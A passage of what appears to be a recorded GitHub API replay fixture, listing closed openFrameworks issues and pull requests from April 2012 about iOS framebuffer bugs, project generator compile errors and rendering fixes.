s%2Fgravatar-140.png","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100},"id":4208500,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-19T11:41:38Z","body":"noticed that hex colour values were being passed into ofSetColor which was displaying lots of log messages in the console.\r\n\r\nchanged to ofSetHexColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1188","comments":0,"milestone":null,"number":1188,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1188","assignee":null,"title":"bugfix for ios imageLoaderExample","labels":[],"closed_at":"2012-04-19T11:41:38Z","created_at":"2012-04-19T11:41:24Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":4189934,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1188","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1188.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1188.diff"}},{"updated_at":"2012-04-19T13:10:11Z","body":"[[self context] renderbufferStorage:GL_RENDERBUFFER_OES fromDrawable:eaglLayer];\r\nwas stopping the framebuffer from being created on iOS 4.1\r\ncloses #1182","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1187","comments":2,"milestone":null,"number":1187,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1187","assignee":null,"title":"bugfix #1182 - framebuffer not being created on iOS 4.1","labels":[],"closed_at":"2012-04-19T13:02:21Z","created_at":"2012-04-19T11:10:00Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":4189562,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1187","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1187.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1187.diff"}},{"updated_at":"2012-04-18T15:09:51Z","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1185","comments":1,"milestone":null,"number":1185,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1185","assignee":null,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","labels":[],"closed_at":"2012-04-18T15:09:51Z","created_at":"2012-04-18T15:07:24Z","state":"closed","user":{"url":"https://api.github.com/users/neilmendoza","avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","id":818571},"id":4174044,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-22T19:46:16Z","body":"The PG does not compile on Linux (32 and 64bit). Latest test with today's develop.\r\nError message: \r\n`no match for ‘operator!=’ in ‘it != ((baseProject*)this)->baseProject::addons.std::vector<_Tp, _Alloc>::end [with _Tp = ofAddon, _Alloc = std::allocator, std::vector<_Tp, _Alloc>::iterator = __gnu_cxx::__normal_iterator >, typename std::_Vector_base<_Tp, _Alloc>::_Tp_alloc_type::pointer = ofAddon*]()’\tbaseProject.cpp`\r\n\r\nThe problem is that @gameoverhack changed a variable type from `set` to `vector` in 085089b, but it's not clear yet how to resolve this. \r\nSome discussion about this with @arturoc is [here](https://github.com/openframeworks/openFrameworks/commit/967997d28b877a4bcc2c8e4972f10b9b9d179562#apps/devApps/projectGenerator/src/projects/baseProject.cpp-P78).\r\n\r\nLack of even a compiling PG has made it impossible for me to generate/compile the examples to check if my gitignore overhaul is working well.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1184","comments":10,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1184,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1184","assignee":null,"title":"PG does not compile on Linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-22T19:46:16Z","created_at":"2012-04-18T15:04:12Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4173977,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-02T14:45:20Z","body":"Current OS X opencv has references to Cocoa and QuickTime. \r\n\r\nFix is:\r\nBuild openCV without Cocoa and QuickTime so we can use the osx/opencv.a for iOS simulator. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1183","comments":7,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1183,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1183","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"openCV for iOS doesn't work in Simulator. ","labels":[],"closed_at":"2012-04-17T21:33:16Z","created_at":"2012-04-17T21:09:59Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4161588,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-19T13:02:21Z","body":"ofxiPhone now builds for 4.1 SDK but when the window is created we get \"Failed to make complete framebuffer object\" \r\ndepth, fsaa, retina is all disabled so I don't really know what the issue is. \r\n\r\nCurrent develop branch works fine with iOS 5.0 SDK and xcode 4. \r\nWould be nice to get it working for older too. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1182","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1182,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1182","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"error creating framebuffer on 4.1 SDK","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-04-19T13:02:21Z","created_at":"2012-04-17T21:07:30Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4161539,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-18T16:50:58Z","body":"two warnings in xcode \r\n\r\nwarning: instance method '-destroyFramebuffer' not found (return type defaults to 'id') \r\nwarning: instance method '-createFramebuffer:' not found (return type defaults to 'id') [3]\r\n\r\n- (BOOL)resizeFromLayer:(CAEAGLLayer *)layer {\t\r\n\t[self destroyFramebuffer];\r\n\t[self createFramebuffer:layer];\r\n}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1181","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1181,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1181","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"iOS warnings / Bugs? in resizeFromLayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-04-18T16:50:58Z","created_at":"2012-04-17T16:27:19Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4156397,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-01T04:17:26Z","body":"returns OFXIPHONE_DEVICE_IPHONE on an iPad.\r\n\r\nThe problem is that \"caseInsensitiveCompare:(NSString*)\" is treated as if it returned a BOOL, but it returns a NSComparisonResult. \r\n\r\nI ended up doing this, which seems to work on most cases:\r\n\r\n ofxiPhoneDeviceType ofxiPhoneGetDeviceType() {\r\n \tNSString * dev = [[[UIDevice currentDevice] model] lowercaseString];\t\r\n \tif( [dev hasPrefix:@\"iphone\"] ) return OFXIPHONE_DEVICE_IPHONE;\r\n \tif( [dev hasPrefix:@\"ipad\"] ) return OFXIPHONE_DEVICE_IPAD;\r\n \tif( [dev hasPrefix:@\"ipod\"] ) return OFXIPHONE_DEVICE_IPODTOUCH;\r\n \treturn OFXIPHONE_UNKNOWN_DEVICE; //this would need to be declared \r\n }\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1180","comments":0,"milestone":null,"number":1180,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1180","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofxiPhoneGetDeviceType() ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-05-01T04:17:26Z","created_at":"2012-04-16T22:42:42Z","state":"closed","user":{"url":"https://api.github.com/users/armadillu","avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","id":167057},"id":4144168,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-18T00:43:43Z","body":"error: request for member 'preferredMode' in 'externalScreen', which is of non-class type 'UIScreen*'\r\n\r\n\t//-------------------------------------------------------------------------------------------\r\n\t-(BOOL) createExternalWindowWithPreferredMode {\r\n\t\tif([[UIScreen screens] count] == 1){\r\n\t\t\treturn NO;\r\n\t\t}\r\n\t\t\r\n\t\tUIScreen * externalScreen;\r\n\t\texternalScreen = [[UIScreen screens] objectAtIndex:1];\r\n\t\t\r\n\t\texternalScreen.currentMode = externalScreen.preferredMode;\r\n\r\n\r\n@julapy can we ifdef this somehow so it allows people to still build for iOS 4.1 ?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1179","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1179,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1179","assignee":null,"title":"iOS bug with SDK 4.1","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-04-17T21:04:28Z","created_at":"2012-04-16T18:53:34Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":4140249,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-16T15:50:37Z","body":"The OF path in the project generator got easily overflowed at the right margin.\r\nI moved tha of path to get drawn at the left and wrapped the path string in case it was to long.\r\nthe examples and addons panels get repositioned so the ofpath doesn't get drawn over the panels","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1177","comments":0,"milestone":null,"number":1177,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1177","assignee":null,"title":"Fix pg ofpath overflow","labels":[],"closed_at":"2012-04-16T15:50:37Z","created_at":"2012-04-15T20:50:03Z","state":"closed","user":{"url":"https://api.github.com/users/roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878},"id":4126089,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1177","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1177.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1177.diff"}},{"updated_at":"2012-04-16T16:05:43Z","body":"oscpack as source from bilderbuchi github, support for broadcasting and socket reuse under poxis","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1176","comments":3,"milestone":null,"number":1176,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1176","assignee":null,"title":"oscpack as source","labels":[],"closed_at":"2012-04-16T16:05:43Z","created_at":"2012-04-14T15:39:25Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":4118313,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1176","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1176.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1176.diff"}},{"updated_at":"2012-04-16T20:06:39Z","body":"When the OF path is drawn in PG it gets overflowed at the right if the path is \"too\" long.\r\nI have a fix for this that I'll push later.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1172","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1172,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1172","assignee":null,"title":"PG OF path overflow","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-16T20:06:39Z","created_at":"2012-04-13T05:14:40Z","state":"closed","user":{"url":"https://api.github.com/users/roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878},"id":4097923,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=4&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '43474'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"5701951ff538f65147b7ec1024c267f3"'), ('date', 'Tue, 29 May 2012 18:46:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"closed","user":{"gravatar_id":"248569b4b21882f854f3a0eee701cc37","url":"https://api.github.com/users/liasomething","login":"liasomething","id":183150,"avatar_url":"https://secure.gravatar.com/avatar/248569b4b21882f854f3a0eee701cc37?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Fix: add setDoubleBuffering(tf) to ofAppGlutWindow","html_url":"https://github.com/openframeworks/openFrameworks/issues/1170","comments":11,"assignee":null,"updated_at":"2012-04-18T16:40:15Z","body":"allows apps to switch between single and double buffering by a function call in main.cpp. solves flickering problem with ofSetBackgroundAuto(false), see #368","number":1170,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1170","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1170.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1170.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1170","labels":[],"id":4079683,"closed_at":"2012-04-18T13:25:31Z","created_at":"2012-04-12T08:05:03Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","url":"https://api.github.com/users/hvfrancesco","login":"hvfrancesco","id":614123,"avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"issue with image.draw(x,y,w,h)","html_url":"https://github.com/openframeworks/openFrameworks/issues/1169","comments":2,"assignee":null,"updated_at":"2012-04-11T14:53:39Z","body":"compiling against last develop branch, I get an issue drawing images with img.draw(x,y,w,h) when w and h are larger than actual image size: instead of scaling border pixels are replicated like this:\r\nhttp://www.hv-a.com/dati/bug.png","number":1169,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1169","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":4064511,"closed_at":"2012-04-11T13:34:59Z","created_at":"2012-04-11T13:18:05Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"bugfix SKIP_INSTALL set to YES","html_url":"https://github.com/openframeworks/openFrameworks/issues/1168","comments":0,"assignee":null,"updated_at":"2012-04-11T13:30:50Z","body":"this fixes the issue that people have been having with XCode4 and when trying to create Archive builds for the app store.\r\n\r\nswitching SKIP_INSTALL to YES fixes the issue.\r\n\r\nfixes #1097","number":1168,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1168","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1168.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1168.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1168","labels":[],"id":4064407,"closed_at":"2012-04-11T13:30:50Z","created_at":"2012-04-11T13:10:57Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"fb2d7be3b062f7b8843c62dd40e7534a","url":"https://api.github.com/users/mantissa","login":"mantissa","id":921747,"avatar_url":"https://secure.gravatar.com/avatar/fb2d7be3b062f7b8843c62dd40e7534a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSetBackgroundAuto(false) ignored when writing to PDF ","html_url":"https://github.com/openframeworks/openFrameworks/issues/1164","comments":5,"assignee":null,"updated_at":"2012-04-12T17:30:19Z","body":"Howdy --\r\n\r\nJust noticed a bug when trying to save shapes accumulating over multiple frames into a single page PDF.\r\n\r\nI'm using the ofGraphics function ofBeginSaveScreenAsPDF();\r\n\r\nIf I call ofSetBackgroundAuto(false), the background is cleared each and every frame while the PDF is being drawn -- when drawing ends, it stops clearing -- as exactly.\r\n\r\nHere's a quick code sample demonstrating the problem:\r\n\r\n if( bIsSavingtoPDF ){\r\n\t\t\r\n\t\tif( ofGetFrameNum() == 0 ) {\r\n\t\t\t\r\n\t\t\tprintf(\"starting composition\\n\");\r\n\t\t\tofBeginSaveScreenAsPDF(\"composition.pdf\", false );\r\n\t\t\tofSetBackgroundAuto(false);\r\n\t\t\tofBackground(0, 0, 0);\r\n\t\t\tofEnableAlphaBlending();\r\n\t\t}\r\n\t\t\t\r\n\t\tofSetColor(ofRandom(255), ofRandom(255), ofRandom(255), ofRandom(255));\r\n\t\tofCircle(ofRandom(ofGetWidth()), ofRandom(ofGetHeight()), ofRandom(35, 135));\r\n\t\t\r\n\t\tif( ofGetFrameNum() > 48 ){\r\n\t\t\r\n\t\t\tprintf(\"ending composition\\n\");\r\n\t\t\tofEndSaveScreenAsPDF();\r\n\t\t\tbIsSavingtoPDF = false;\r\n\t\t} \r\n\t\r\n\t} else {\r\n\t\r\n\t\tofSetColor(ofRandom(255), ofRandom(255), ofRandom(255), ofRandom(255));\r\n\t\tofCircle(ofRandom(ofGetWidth()), ofRandom(ofGetHeight()), ofRandom(35, 135));\r\n\t}\r\n\r\nThe problem is triggered by ofCairoRenderer::update(), which calls ofSetStyle(ofGetStyle()), which in turn calls ofBackground(style.bgColor).\r\n\r\nOtherwise, the graphics are looking super-sharp in cairo.\r\n\r\nThanks!\r\n\r\nJeremy","number":1164,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1164","labels":[],"id":4058479,"closed_at":"2012-04-11T11:50:47Z","created_at":"2012-04-11T03:33:48Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"subsection fixes","html_url":"https://github.com/openframeworks/openFrameworks/issues/1163","comments":5,"assignee":null,"updated_at":"2012-04-11T14:30:37Z","body":"there was a bug where drawing something with draw(x, y, w, h) would draw the top-left subsection instead of the whole image with size wxh. this was the bug that i saw with zach while working on another project. it had nothing to do with my implementation of the subsection stuff itself, it was just a mistake in how the wrappers were calling each other.","number":1163,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1163","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1163.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1163.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1163","labels":[],"id":4049392,"closed_at":"2012-04-11T13:30:16Z","created_at":"2012-04-10T16:30:49Z"},{"milestone":{"state":"closed","description":"","title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"number":4,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61808,"created_at":"2011-12-02T15:29:28Z"},"state":"closed","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"imageSequenceExample has strange drawing issue ","html_url":"https://github.com/openframeworks/openFrameworks/issues/1162","comments":9,"assignee":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-18T08:13:19Z","body":"looks like it is drawing from center. could be related to 